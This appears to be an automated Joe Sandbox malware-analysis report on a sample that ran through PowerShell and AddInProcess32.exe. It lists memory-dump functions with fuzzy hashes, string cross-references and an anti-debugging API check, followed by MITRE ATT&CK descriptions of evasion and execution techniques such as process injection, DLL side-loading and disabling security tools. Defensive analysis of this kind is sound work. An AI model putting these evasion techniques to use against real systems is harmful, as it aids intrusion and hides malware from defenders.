Source File: 00000009.00000002.519946115.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b498d8da79b99ec4be962503405349e19a88e8fe508db17684b5a7f6ba03725b
Instruction ID: b3d7fc2320e061f5aaaa0bc80192c6ea80c571bf1fcc92e540988b808f6c90b4
Opcode Fuzzy Hash: b498d8da79b99ec4be962503405349e19a88e8fe508db17684b5a7f6ba03725b
Instruction Fuzzy Hash: A5015E7140D3C09FE7124B259C95B52BFA8EF53724F1985DBE8848F1A3C2689C45CB72

Function 001CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.519946115.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f2482eb28ace2ae26bfe0430ee76bbf06b8f510fa191cd1ba0e1b06351a06f5
Instruction ID: 9a4a19094a5c0e4a57cced60632b39a2821cdfc9f2fdcf09d46f13aba7d7ca58
Opcode Fuzzy Hash: 1f2482eb28ace2ae26bfe0430ee76bbf06b8f510fa191cd1ba0e1b06351a06f5
Instruction Fuzzy Hash: 0301D471104340EAE7144A29DC84B67BBD8DF61764F18C52EEC480B182C379D942CAB1

Function 003B0000 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd4cac4d81d8029f5242d95191f943adc08ddc617ac62439c3841b93b9b0b34b
Instruction ID: 6577483faea23ba75172badf82e7edf77ef6b7344838747beb6f5a6a0c44e130
Opcode Fuzzy Hash: bd4cac4d81d8029f5242d95191f943adc08ddc617ac62439c3841b93b9b0b34b
Instruction Fuzzy Hash: 2F01AAA540E3C18FDB2757744C796563F71AEA7205B5A00EBC0C29F0E3D0185959DB63

Non-executed Functions

Function 003B00A0 Relevance: 20.4, Strings: 16, Instructions: 412COMMON

Download Yara Rule

Strings

L4#p, xrefs: 003B040E
L4#p, xrefs: 003B01C9
L:,, xrefs: 003B036B
L4#p, xrefs: 003B0160
L4#p, xrefs: 003B0419
L4#p, xrefs: 003B01BE
L4#p, xrefs: 003B03B0
(:,, xrefs: 003B011B
@#|e, xrefs: 003B00E2
(:,, xrefs: 003B0240
(:,, xrefs: 003B0189
L:,, xrefs: 003B03D9
L:,, xrefs: 003B0490
@#|e, xrefs: 003B00D8
@#|e, xrefs: 003B0332
@#|e, xrefs: 003B0328

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: (:,$(:,$(:,$@#|e$@#|e$@#|e$@#|e$L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$L:,$L:,$L:,
API String ID: 0-1621129138
Opcode ID: 1ecad4d8444de8c5031f99edc8fa9604b6dc2e8ffaf52289977aa64e997686af
Instruction ID: fd4c975a183b25e45462740af4103cef15943a2d7263c105fb9b98628b431280
Opcode Fuzzy Hash: 1ecad4d8444de8c5031f99edc8fa9604b6dc2e8ffaf52289977aa64e997686af
Instruction Fuzzy Hash: 35E13431B00204DFDF2A9F64D8547EF77A2AFC1314F15846AEA459B691DB70DD40CBA2

Function 003B02E4 Relevance: 7.6, Strings: 6, Instructions: 117COMMON

Download Yara Rule

Strings

L4#p, xrefs: 003B040E
L:,, xrefs: 003B03D9
L:,, xrefs: 003B036B
L4#p, xrefs: 003B0419
L4#p, xrefs: 003B03B0
@#|e, xrefs: 003B0328

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$L4#p$L4#p$L4#p$L:,$L:,
API String ID: 0-66566924
Opcode ID: b715406dd5e294f8787eae0cff18cb2a3719540a314e22b35ceff7666f7a8406
Instruction ID: 2ae6ce37e8545852a65a25ee4cb4c0527efef9fe5cf7906968ad3f111776cb8b
Opcode Fuzzy Hash: b715406dd5e294f8787eae0cff18cb2a3719540a314e22b35ceff7666f7a8406
Instruction Fuzzy Hash: D9410235600208EFDF2A8E65D4447FF77A6AB40318F1A8065EA099BA91D774DD84CF91

Function 003B05C8 Relevance: 6.5, Strings: 5, Instructions: 206COMMON

Download Yara Rule

Strings

L4#p, xrefs: 003B06F1
@#|e, xrefs: 003B0600
L4#p, xrefs: 003B06E6
L4#p, xrefs: 003B0688
@#|e, xrefs: 003B060A

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$@#|e$L4#p$L4#p$L4#p
API String ID: 0-2427159599
Opcode ID: db50862b68fb549273d0269df9c47cf744ceba9fd29f9123e9e2babf59ae801d
Instruction ID: b1edabcc7460347efdfae32b37df8a29aa6611699678296c64859aa71c36bd31
Opcode Fuzzy Hash: db50862b68fb549273d0269df9c47cf744ceba9fd29f9123e9e2babf59ae801d
Instruction Fuzzy Hash: 1F614530700244AFDB1A9F64D8507EFBBA2AFC1304F15806AEA459B291DF74ED50CBA1

Function 003B3322 Relevance: 6.4, Strings: 5, Instructions: 166COMMON

Download Yara Rule

Strings

L4#p, xrefs: 003B3431
@#|e, xrefs: 003B334A
L4#p, xrefs: 003B33C8
L4#p, xrefs: 003B3426
@#|e, xrefs: 003B3340

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$@#|e$L4#p$L4#p$L4#p
API String ID: 0-2427159599
Opcode ID: 6e561a3747efc81511fae867b60ff38abaa4d7cda0c5a96f7d7dfc9defe850e4
Instruction ID: 93c6a6ecd879ce641ed40f45f454689e67f402933d1c1485e83ef2eccc960497
Opcode Fuzzy Hash: 6e561a3747efc81511fae867b60ff38abaa4d7cda0c5a96f7d7dfc9defe850e4
Instruction Fuzzy Hash: DF511F31700264EBDB278F24D8407FE77A6AF80318F158069EA098B691DF75DF40C7A2

Function 003B05A8 Relevance: 5.1, Strings: 4, Instructions: 125COMMON

Download Yara Rule

Strings

L4#p, xrefs: 003B06F1
@#|e, xrefs: 003B0600
L4#p, xrefs: 003B06E6
L4#p, xrefs: 003B0688

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$L4#p$L4#p$L4#p
API String ID: 0-258036331
Opcode ID: 17c5892f5a00e91beacf65de5307a641bf27c20ad7a1bf9b39137fa073a64855
Instruction ID: c66a3acd944fd580ea90500a1f2d3380d30c887c59e2a8c44ba3d037f42547fd
Opcode Fuzzy Hash: 17c5892f5a00e91beacf65de5307a641bf27c20ad7a1bf9b39137fa073a64855
Instruction Fuzzy Hash: BB41E530600248AFDF2A8F54C9407FFB7A5EF81319F158065EA449B691DB74ED91CFA1

Analysis Process: AddInProcess32.exePID: 3940, Parent PID: 3808COMMON

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 002D5330 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 002D53A7

Memory Dump Source

Source File: 0000000A.00000002.622570103.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 4b03bc10814d6c36fb7ea4c1acfa81124cf7554b1694292bf85c4e8e5665f778
Instruction ID: 0301aa10cf8e341176c0149f10c6091c02883ccaafefab4fbbcbf08efe53f758
Opcode Fuzzy Hash: 4b03bc10814d6c36fb7ea4c1acfa81124cf7554b1694292bf85c4e8e5665f778
Instruction Fuzzy Hash: EB21487180161ACFDB00CF9AD884BEEBBF4AF49214F24846AD454A7350D778AA44CF60

Function 006342EB Relevance: 3.9, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`3O, xrefs: 00634420
`3O, xrefs: 00634392
|4O, xrefs: 006343B0

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID: `3O$`3O$|4O
API String ID: 0-948522560
Opcode ID: 5147be9b0d3b8322120b1ddf5ec9b4e4cca718cb925b39549207572748148171
Instruction ID: 7cd1f055164065553151d1eccb23d8ccf28726dd0c98834e8537a6fdeb5727a8
Opcode Fuzzy Hash: 5147be9b0d3b8322120b1ddf5ec9b4e4cca718cb925b39549207572748148171
Instruction Fuzzy Hash: 7F419E30A107499FDB11EF79C495AAEBBF6EF96300F118526E805EB351DB70B846CB81

Function 00634300 Relevance: 3.8, Strings: 3, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`3O, xrefs: 00634420
`3O, xrefs: 00634392
|4O, xrefs: 006343B0

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID: `3O$`3O$|4O
API String ID: 0-948522560
Opcode ID: 13a1b86a9f51f345446dcf3d26da3e72852b6bab54684293bfd5549e1acb46b3
Instruction ID: 5d3e3f6da3547a6004bb39aa89463dd01704960e8f5bcffea2b0848b6253b276
Opcode Fuzzy Hash: 13a1b86a9f51f345446dcf3d26da3e72852b6bab54684293bfd5549e1acb46b3
Instruction Fuzzy Hash: 96313A30A107098BDB14EFA9C485AAEF7B6EF95300F10892AE915EB344DB70B945CB81

Function 006306C0 Relevance: 1.7, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 0063071B

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 0f7243817fa183c0cd62584ccb21cb855e0f8c5969e27860c9ce32721ba75c29
Instruction ID: fb28c0fb3c144003055297b45f18f812d15903e8873e7b3f5f78f74d75461b4b
Opcode Fuzzy Hash: 0f7243817fa183c0cd62584ccb21cb855e0f8c5969e27860c9ce32721ba75c29
Instruction Fuzzy Hash: 92F13E30A01204CFEB18EFA5D4A5B6EB7B7BF84314F248569D405AB369DB35EC46CB90

Function 002D5328 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 002D53A7

Memory Dump Source

Source File: 0000000A.00000002.622570103.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: bcf305b10c1e36b26b436182ecb6ce094a874d384929068998b5dd23f34b710f
Instruction ID: 2209b85e5184362d6ed79ec2b75540d243ea6b66dd8cb0b43eb7cedaaba73521
Opcode Fuzzy Hash: bcf305b10c1e36b26b436182ecb6ce094a874d384929068998b5dd23f34b710f
Instruction Fuzzy Hash: 4E214A7180165ACFDB00CF9AD884BEEFBF4AF49214F24846AD854B7351D7789A44CF60

Function 00631AB0 Relevance: 1.5, Strings: 1, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H'O, xrefs: 00631B83

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID: H'O
API String ID: 0-3178162958
Opcode ID: 34fd06b6d8a69fba74497e0fdbca40fba8bb874fc5b5b2c1f0ac635cf27fc050
Instruction ID: 4cd1cb57d303f1bcc3d2cf9e70c966c4fb4eab5ee966dd9b3dd089b2a3d2217a
Opcode Fuzzy Hash: 34fd06b6d8a69fba74497e0fdbca40fba8bb874fc5b5b2c1f0ac635cf27fc050
Instruction Fuzzy Hash: B9816B31B006098FDB18EF65D4957AEB7E7EF85340F248829E806DB394DB75ED428B90

Function 006306B1 Relevance: 1.4, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 0063071B

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: f20487bcb0be2fa61d1cd37f3598907385f15d7cc47bca932b29995148d86014
Instruction ID: 30adea6e55ddca483df641618741ca489fefeac4ce3342b7acab4272ec531d51
Opcode Fuzzy Hash: f20487bcb0be2fa61d1cd37f3598907385f15d7cc47bca932b29995148d86014
Instruction Fuzzy Hash: 71812B70A01244CFEB18EB65C594B9EB7B7BF84340F248569E405AB3A9DB35AC46CB90

Function 00630040 Relevance: .5, Instructions: 495
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d334d77d3a52fa3f1cc6abb6e0a4ebf39bbe5ed5c9e0a948ba4b45edc2f02ee4
Instruction ID: 860a999211a5877129c3a694c20e1a61a6914b2d5e20efe3344950847b29645e
Opcode Fuzzy Hash: d334d77d3a52fa3f1cc6abb6e0a4ebf39bbe5ed5c9e0a948ba4b45edc2f02ee4
Instruction Fuzzy Hash: 76028C30B002049FEB14EB64D5A5BAEB7F3EF84314F148569E40AAB395DB35ED46CB80

Function 00634688 Relevance: .3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef60e18d82bfa9200aa6669b64f237cea9eee4529c2d8f4fdfdef1e29f740726
Instruction ID: 0a976e51df84af1eaa8574be92d8c853290040ee51eca32619d0cef27b88efe1
Opcode Fuzzy Hash: ef60e18d82bfa9200aa6669b64f237cea9eee4529c2d8f4fdfdef1e29f740726
Instruction Fuzzy Hash: 24819B35B002088FDB14AB78D4957AEBBB7EB8A310F24456AD406DB395DF35EC46CB90

Function 00632B90 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 420096d2dd09cf73e4a13e862bd3073264dc46cae15d9e9d73184d92022cce75
Instruction ID: 83645656e1dbd258b98421ae5c0850b465929c8fb8bfe65c50ccdbe69164d828
Opcode Fuzzy Hash: 420096d2dd09cf73e4a13e862bd3073264dc46cae15d9e9d73184d92022cce75
Instruction Fuzzy Hash: 51912230B006198FDB64DF65C8A57AE77F6EFD4340F108466E809AB384EF71AD458B91

Function 00632B80 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133ca80a2d0b1b538c51e448341bad65c19d852f914b9b3a91ea8d82841ee92a
Instruction ID: d4d1f5410f14928c03795b3cb832b0c54c8dc7af9c724eba6f8a94850a54c8d4
Opcode Fuzzy Hash: 133ca80a2d0b1b538c51e448341bad65c19d852f914b9b3a91ea8d82841ee92a
Instruction Fuzzy Hash: D65120307006059FDB54EF74D8A5BAE77E6AFC4350F10846AE80AEB394EB71AD41CB91

Function 0018D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.622445780.000000000018D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0018D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_18d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b86cbf6782c9b7386b04be9bf9ddc4a2b4f5e42c5cb9392e845bc9ce7fdc7b
Instruction ID: aca9624dc753786686a821b67d9652a389b09f152f4b849ef875ebad77081d0d
Opcode Fuzzy Hash: 84b86cbf6782c9b7386b04be9bf9ddc4a2b4f5e42c5cb9392e845bc9ce7fdc7b
Instruction Fuzzy Hash: 7021D475604340EFEB14EF14E9C4B16BB65EB84324F34C6A9E8494B286C73AD947CFA1

Function 00630C52 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd536b87db8ed61078bd17863ce7b2e2d9f05da050864aced1999ba8381eef4
Instruction ID: 9a40f0d54c6f1953e2d42ecbfd727025dc6565e4c74ad0456d6a391048cd2be5
Opcode Fuzzy Hash: 5bd536b87db8ed61078bd17863ce7b2e2d9f05da050864aced1999ba8381eef4
Instruction Fuzzy Hash: 6421D434A00209CFEB14DBA4D5E5AEEB7B6FF48315F249216D815A7369D730AC86CF90

Function 00633D58 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 262f969f8980f695cbed82e8629265fc3943264ce3f7564d48d465a157687049
Instruction ID: 13588e02478a7884d20420010999f5cb5d4191f21807baf36c2b34b57a0f3a29
Opcode Fuzzy Hash: 262f969f8980f695cbed82e8629265fc3943264ce3f7564d48d465a157687049
Instruction Fuzzy Hash: 2201D4307046545FC721AB38D8647AA7BE6DFC7710F15887AE04ACF352DA25EE0187E1

Function 0018D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.622445780.000000000018D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0018D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_18d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: 372f23dc4350e47687085f5e79de25169a16d31a92139c3890226d5e94c427cb
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: 89118B75504380DFDB11DF14E5C4B15BBA1FB84314F24C6AAE8494B696C33AD94ACFA2

Function 006345B8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e7c3ad3bb10f803404c7a0f46814ec135eb04cc1f6e33dd986b242637b4552
Instruction ID: bcf58659168bc07f6fa0b860193d2d79c583d61558ab8b3618b3860ebfbeca38
Opcode Fuzzy Hash: e2e7c3ad3bb10f803404c7a0f46814ec135eb04cc1f6e33dd986b242637b4552
Instruction Fuzzy Hash: 4B01A2317042584FDB216B3998656AE7BA6DBD3311F14487AE146CF291CE54ED038391

Function 00633D68 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5a6fb67792a3c555bff7d3448dab6166d49d33cf6acf42d23d2800c61acefb2
Instruction ID: 8e0cf0e7b717827fc14cd7f94d1f0b634a534ea8408adf63a0020d999924ad38
Opcode Fuzzy Hash: f5a6fb67792a3c555bff7d3448dab6166d49d33cf6acf42d23d2800c61acefb2
Instruction Fuzzy Hash: A50181307005245FDB20AA38D8A579A73DBDFC5750F108839F10ACB354EB21EE0287D1

Function 00631D00 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.623785794.0000000000630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_630000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a13d6b02f88e26c7979c750653efa25f049b73a85a28c7bee0b8ae0b734b2c
Instruction ID: c230354db7626bc2794c011f3a7f041ac133a2d27f48b63335091afea84fe78b
Opcode Fuzzy Hash: b4a13d6b02f88e26c7979c750653efa25f049b73a85a28c7bee0b8ae0b734b2c
Instruction Fuzzy Hash: 1FF05835A04208DFCF288E54E8846ECB7B6EF53351F284862D801AF260C3719A82CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
